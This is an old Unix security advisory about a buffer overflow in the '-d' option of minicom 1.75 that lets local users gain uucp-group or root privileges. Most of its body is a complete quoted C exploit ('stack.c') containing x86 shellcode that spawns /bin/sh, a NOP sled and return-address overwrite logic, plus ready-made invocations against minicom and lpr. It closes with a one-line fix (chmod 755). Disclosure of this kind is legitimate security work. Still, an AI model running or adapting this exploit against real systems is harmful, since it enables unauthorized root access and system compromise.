COMMAND

    usr/bin/minicom (1.75)

SYSTEMS AFFECTED

    Supposedly all  platforms where  minicom is  installed suid and/or
    sgid (this one has been tested on Slackware 3.1 and RedHat 4.1).

PROBLEM

    Dmitry  E.  Kim  <jason@REDLINE.RU>  reported  another standard
    buffer overrun  vulnerability, which  may sometimes  lead to  root
    compromise (not  always, not  in new  distributions, fortunately).
    Current Slackware  and current  RedHat don't  install minicom suid
    root, only sgid/uucp, which is not *that* dangerous, BUT when  you
    build minicom from source, it asks you to do "chmod +s" on it.

    Vulnerability in  minicom allows  (certain) local  users to obtain
    group "uucp" privileges and, in certain cases, root privileges.

    According to man pages, "minicom is a communication program  which
    somewhat resembles the  shareware program TELIX  but is free  with
    source code and runs under most unices".

    Minicom binary is usually owned  by user "root" and group  "uucp",
    and  it   is  "-rwxr-sr-x"   or,  in   some  old    distributions,
    "-rwsr-sr-x".   Actually,  minicom  has  *alot*  of arbitrary size
    buffers and it is  really easy to overrun  some of them. At  least
    one of these  overrunable buffers is  automatic -- an  argument to
    "-d" option  of minicom  is copied  into 128  bytes long automatic
    array.   Thus, it  is possible  to overwrite  the function  return
    address and to execute an arbitrary code (as usually).

    If minicom is installed suid root, any user which is permitted  to
    use minicom can  obtain root shell.  If minicom is  installed sgid
    uucp, any minicom  user can obtain  uucp group privileges  (please
    don't  think  it's  nothing  --  at  least  on  Slackware machines
    /usr/lib/uucp  is  group-writeable.   This  means  you  can easily
    substitute uucico/uuxqt/etc with your scripts).

    As said before, this vulnerability was reported by Dmitry E.  Kim.
    He did some  testings and came  up with exploit.   Below goes  the
    exploit for Linux. After running  this, you have shell with  uid=0
    and euid=your_usual_uid  (if minicom  is suid  root) and  gid=uucp
    egid=your_usual_gid.  Getting  real  root  and  real  uucp   group
    permissions from that is really too trivial to describe here.

---( quoting file "stack.c" )---

/* this stack overflow exploit code was written by jsn <jason@redline.ru>  */
/* provided "as is" and without any warranty. Sun Feb  9 08:12:54 MSK 1997 */
/* usage: argv[0] their_stack_offset buffer_size target_program [params]   */
/* generated string will be appended to the last of params.                */

/* examples: stack -600 1303 /usr/bin/lpr "-J"                             */
/*           stack -640 153  /usr/bin/minicom -t vt100 -d ""               */

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdarg.h>

#define NOP     0x90

const char usage[] = "usage: %s stack-offset buffer-size argv0 argv1 ...\n";

extern          code();
void    dummy( void )
{
        extern  lbl();

        /* do "exec( "/bin/sh" ); exit(0)" */

__asm__( "
code:   xorl    %edx, %edx
        pushl   %edx
        jmp     lbl
start2: movl    %esp, %ecx
        popl    %ebx
        movb    %edx, 0x7(%ebx)
        xorl    %eax, %eax
        movb    $0xB, %eax
        int     $0x80
        xorl    %ebx, %ebx
        xorl    %eax, %eax
        inc     %eax
        int     $0x80
lbl:    call    start2
        .string \"/bin/sh\"
 ");
}

void            Fatal( int rv, const char *fmt, ... )
{
        va_list         vl;
        va_start( vl, fmt );
        vfprintf( stderr, fmt, vl );
        va_end( vl );
        exit( rv );
}

int             main( int ac, char **av )
{
        int             buff_addr;      /* where our code is */
        int             stack_offset = 0,
                        buffer_size = 0, i, code_size;
        char            *buffer, *p;

        buff_addr = (int)(&buff_addr);          /* get the stack pointer */
        code_size = strlen( (char *)code );     /* get the size of piece of */
                                                /* code in dummy()      */
        if( ac < 5 )    Fatal( -1, usage, *av );

        buff_addr -= strtol( av[ 1 ], NULL, 0 );
        buffer_size = strtoul( av[ 2 ], NULL, 0 );

        if( buffer_size < code_size + 4 )
            Fatal( -1, "buffer is too short -- %d minimum.\n", code_size + 5);
            /* "this is supported, but not implemented yet" ;) */

        if( (buffer = malloc( buffer_size )) == NULL )
            Fatal( -1, "malloc(): %s\n", strerror( errno ) );

        fprintf( stderr, "using buffer address 0x%8.8x\n", buff_addr );

        for( i = buffer_size - 4; i > buffer_size / 2; i -= 4 )
                *(int *)(buffer + i) = buff_addr;
        memset( buffer, NOP, buffer_size/2 );

        i = (buffer_size - code_size - 4)/2;

        memcpy( buffer + i, (char *)code, code_size );
        buffer[ buffer_size - 1 ] = '\0';

        p = malloc( strlen( av[ ac - 1 ] ) + code_size + 1 );
        if( !p )
            Fatal( -1, "malloc(): %s\n", strerror( errno ) );

        strcpy( p, av[ ac - 1 ] );
        strcat( p, buffer );
        av[ ac - 1 ] = p;

        execve( av[ 3 ], av + 3, NULL );
        perror( "exec():" );
}

---( cut line )---


    Minicom also requires you to be in a minicom.users file to use  it
    at all, which alleviates the risk somewhat.  The idea of  allowing
    public users of a system unrestricted access to a dialout port  is
    pretty dangerous so anyone  using minicom would be  pretty careful
    about who was in that file.  Anyway, you can overrun some  buffers
    using  command  line  options   that  get  processed  before   the
    minicom.users  file.  Auch!  Furthermore  the  minicom.users  file
    isn't checked if minicom is installed setgid instead of setuid.

SOLUTION

    Quick fix, as usually -- chmod 755 `which minicom`.